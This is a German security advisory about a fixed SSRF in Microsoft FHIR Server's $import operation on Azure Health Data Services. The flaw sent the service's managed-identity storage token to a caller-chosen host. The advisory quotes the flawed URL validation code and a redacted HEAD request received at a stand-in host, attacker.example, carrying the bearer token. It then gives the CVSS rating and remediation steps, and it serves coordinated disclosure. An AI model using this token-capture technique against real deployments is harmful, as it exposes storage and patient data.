Alle Sicherheitshinweise

Azure Health Data Services FHIR

$import gibt das Zugriffstoken der Dienstidentität preis

Wer in Azure Health Data Services Daten importieren durfte, konnte das Azure-Storage-Zugriffstoken des Dienstes abfangen. Der FHIR-Dienst übermittelte es bereits mit seiner ersten Anfrage an einen vom Aufrufer gewählten Server. Dafür waren weder Administratorrechte noch eine Aktion anderer Nutzer nötig. Das aufgezeichnete Token war rund 24 Stunden gültig; die zugehörige Dienstidentität durfte im Test Blobs lesen, ändern und löschen. Ob damit auch Patientendaten erreichbar sind, hängt von den zugewiesenen Rollen und den Netzwerkregeln des Ziel-Accounts ab. Microsoft hat die Schwachstelle im verwalteten Dienst behoben.

Verfasst vonVolker Schönefeld, Simon Weber2026-09-05
SchweregradKritischCVSS 9.9CVSS-3.1-VektorAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:LCWECWE-918 (Server-Side Request Forgery (SSRF))ProduktAzure Health Data Services FHIRBetroffene VersionenMicrosoft FHIR Server bis einschließlich release/4.0.747, auch im verwalteten FHIR-Dienst von Azure Health Data Services. Verifiziert auf release/4.0.722 und release/4.0.728.Behoben inrelease/4.0.759 (PR #5536), im FHIR-Dienst von Azure Health Data Services ausgerollt.

Beschreibung

Die $import-Operation nimmt eine Liste von URLs zu NDJSON-Dateien entgegen. In den betroffenen Versionen prüfte ImportController lediglich, ob jede input.url absolut war und keinen Query-String enthielt. Eine Beschränkung auf bestimmte Hosts oder Storage-Accounts fehlte.

ImportController.cs (input.url-Validierung, release/4.0.722)

foreach (var item in input)
{
if (!string.IsNullOrEmpty(item.Type) && !Enum.IsDefined(typeof(ResourceType), item.Type))
{
throw new RequestNotValidException(string.Format(Resources.UnsupportedResourceType, item.Type));
}
if (item.Url == null || !item.Url.IsAbsoluteUri || !string.IsNullOrEmpty(item.Url.Query))
{
throw new RequestNotValidException(string.Format(Resources.ImportRequestValueNotValid, "input.url"));
}
}

View source →

Der Import-Orchestrator reichte jede URL unverändert an einen Storage-BlobClient weiter. Dieser authentifizierte sich mit der Managed Identity des FHIR-Dienstes.

AzureAccessTokenClientInitializerV2.cs (Client-Erzeugung, release/4.0.722)

public Task<BlobClient> GetAuthorizedBlobClientAsync(Uri blobUri)
{
EnsureArg.IsNotNull(blobUri, nameof(blobUri));
return Task.FromResult(new BlobClient(blobUri, CreateManagedIdentityCredential()));
}

View source →

Das Storage-SDK sendete das Bearer-Token der Managed Identity bereits mit der ersten ausgehenden HEAD-Anfrage, ohne eine 401-Challenge abzuwarten. Es verlangte HTTPS, beschränkte aber nicht den Zielhost.

Das aufgezeichnete Token war für https://storage.azure.com/ bestimmt und rund 24 Stunden gültig. Im Test hatte die Dienstidentität die Rolle Storage Blob Data Contributor auf dem Account, der sowohl für Import als auch für Export konfiguriert war. In anderen Installationen können dafür getrennte Accounts mit anderen Rollenzuweisungen verwendet werden.

Erste HEAD-Anfrage am Server des Angreifers (gekürzt und bereinigt)

HEAD /pt.ndjson HTTP/1.1
Host: attacker.example
x-ms-version: 2025-05-05
User-Agent: azsdk-net-Storage.Blobs/12.24.1 (.NET 8.0.25; Microsoft Azure Linux 3.0)
Authorization: Bearer eyJ0eXAiOiJKV1Q...<redacted>
# decoded token claims (anti-replay fields omitted):
# aud = https://storage.azure.com/ (Azure Storage data-plane)
# xms_mirid = /subscriptions/.../fhirservices/<fhir-service> (the impersonated FHIR Managed Identity)
# exp - iat = 86700s (~24h)

Die Azure-Quell-IP, der User-Agent des Storage-SDK und der Claim xms_mirid im Token belegten die Herkunft aus dem verwalteten FHIR-Dienst. Gemäß den MSRC-Testregeln wurde das Token aufgezeichnet, aber nicht für Zugriffe auf Azure Storage verwendet.

Die Schwachstelle überwindet die Trennung zwischen FHIR- und Storage-Berechtigungen: Der Aufrufer besaß nur FHIR Data Importer, das abgefangene Token repräsentierte jedoch die Storage-Rolle des Dienstes. Das Abfangen wurde am 19. April 2026 in einer eigenen Test-Subscription bestätigt und am 21. April erneut verifiziert.

Die Meldung ging im April 2026 an MSRC (Fall 113959). Microsoft bestätigte das Verhalten und rollte den Fix vor der Veröffentlichung aus. PR #5536 prüft Quell-URLs vor dem Anlegen eines Import-Jobs gegen den konfigurierten Storage-Account. Das beschränkt auch die Ziele des verwandten Zugriffs auf FHIR-Daten. Eine CVE wurde nicht vergeben. Wir danken MSRC für die koordinierte Offenlegung.

Auswirkung

  • Voraussetzung ist FHIR Data Importer oder eine andere Rolle mit import/action auf einem für den Import eingerichteten Dienst. Diese FHIR-Berechtigung erlaubt für sich genommen keinen direkten Storage-Zugriff.
  • Die Contributor-Rolle der Dienstidentität erlaubte im Test das Auflisten, Lesen, Schreiben und Löschen von Blobs. Vorhandene Patientendaten sind damit betroffen, soweit sie erreichbar sind. Auf weiteren Accounts können geringere Berechtigungen gelten, etwa reiner Lesezugriff. Der Client, der das Token verwendet, muss weiterhin die Netzwerkregeln jedes Ziel-Accounts erfüllen.

Abhilfe

Microsoft hat den Fix in Azure Health Data Services ausgerollt; Kunden des verwalteten Dienstes müssen keinen Patch installieren. Wer Microsoft FHIR Server selbst betreibt, sollte auf release/4.0.759 oder neuer aktualisieren.

Checkliste für Betreiber

  • Import-Berechtigungen prüfen.

    Ermitteln Sie, welche Nutzer und Anwendungen import/action besitzen. Beschränken Sie diese Berechtigung bis zum Update auf vertrauenswürdige Import-Prozesse.

  • Storage-Zugriff der Dienstidentität begrenzen.

    Belassen Sie nur die Account- und Container-Berechtigungen, die für Import und Export benötigt werden. Ein abgefangenes Token repräsentiert diese Rechte; zusätzlich gelten die Netzwerkregeln des Ziel-Accounts für den zugreifenden Client.

  • Möglichen Token-Abfluss vor dem Fix untersuchen.

    Hatten nicht vertrauenswürdige Aufrufer Import-Rechte, gleichen Sie aufbewahrte FHIR-Import-Protokolle mit Storage-Zugriffen der Dienstidentität ab. Nutzen Sie verfügbare Zeitstempel, Ressourcen-URIs und Request-Metadaten. Storage-Protokolle allein lassen keinen eindeutigen Rückschluss auf den FHIR-Aufrufer oder Import-Job zu. Auch ohne protokollierte Storage-Zugriffe kann ein Token abgefangen worden sein; das aufgezeichnete Token war rund 24 Stunden gültig.

Bewertung im Detail

AV:NImport-Anfragen und Token-Übertragung erfolgen über das Netzwerk.AC:LEs sind weder eine Race-Condition noch ein bestimmtes Timing erforderlich.PR:LErforderlich ist die auf den Dienst beschränkte Rolle FHIR Data Importer oder die Berechtigung import/action.UI:NDer Dienst stellt die ausgehende Anfrage automatisch.S:CDas abgefangene Token repräsentiert Storage-Rechte außerhalb der FHIR-Berechtigung des Aufrufers.C:HDie Leserechte der Identität können sensible Blobs zugänglich machen, soweit die Netzwerkregeln des Ziels dies zulassen. Das Token wurde nicht für solche Zugriffe verwendet.I:HDie Contributor-Rolle auf dem Integrations-Account erlaubt im Test das Schreiben und Überschreiben von Blobs. Auf anderen Accounts gelten deren jeweilige Rollenzuweisungen.A:LBewertet wird der Verlust einzelner Blobs durch die Löschberechtigung der Identität. Ein Ausfall des gesamten Dienstes wurde nicht nachgewiesen.

Referenzen

So können wir helfen

Wer wir sind

Die Sicherheitsforscher hinter diesem Sicherheitshinweis.

Dr. Simon Weber Profile

Dr. rer. nat. Simon Weber

Senior Pentester & MedSec-Forscher

Ich evaluiere Ihr SaMD mit derselben branchenprägenden Sicherheitsexpertise, die ich dem BAK MV für die Überarbeitung des B3S-Standards beigetragen habe.

  • Promotion über Krankenhaus-Cybersicherheit
  • Kritische Schwachstellen in Krankenhaussystemen gefunden
  • Alumni der THB MedSec-Forschungsgruppe
  • gematik Security Hero
Volker Schönefeld Profile

Dipl.-Inf. Volker Schönefeld

Senior Application Security Expert

Als ehemaliger CTO und Entwickler, der zum Pentester wurde, arbeite ich mit Ihrem Team zusammen, um Schwachstellen aufzudecken und Lösungen zu finden, die zu Ihrer Architektur passen.

  • 20+ Jahre als CTO, 50+ Mio. App-Downloads
  • Architektur und Absicherung großer IoT-Flotten
  • Certified Web Exploitation Specialist
  • gematik Security Hero

Penetrationstest gesucht?

Machine Spirits ist spezialisiert auf Sicherheitsbewertungen für Medizinprodukte und Gesundheits-IT. Von MDR-Penetrationstests bis C5-Cloud-Compliance helfen wir MedTech-Unternehmen, regulatorische Anforderungen zu erfüllen.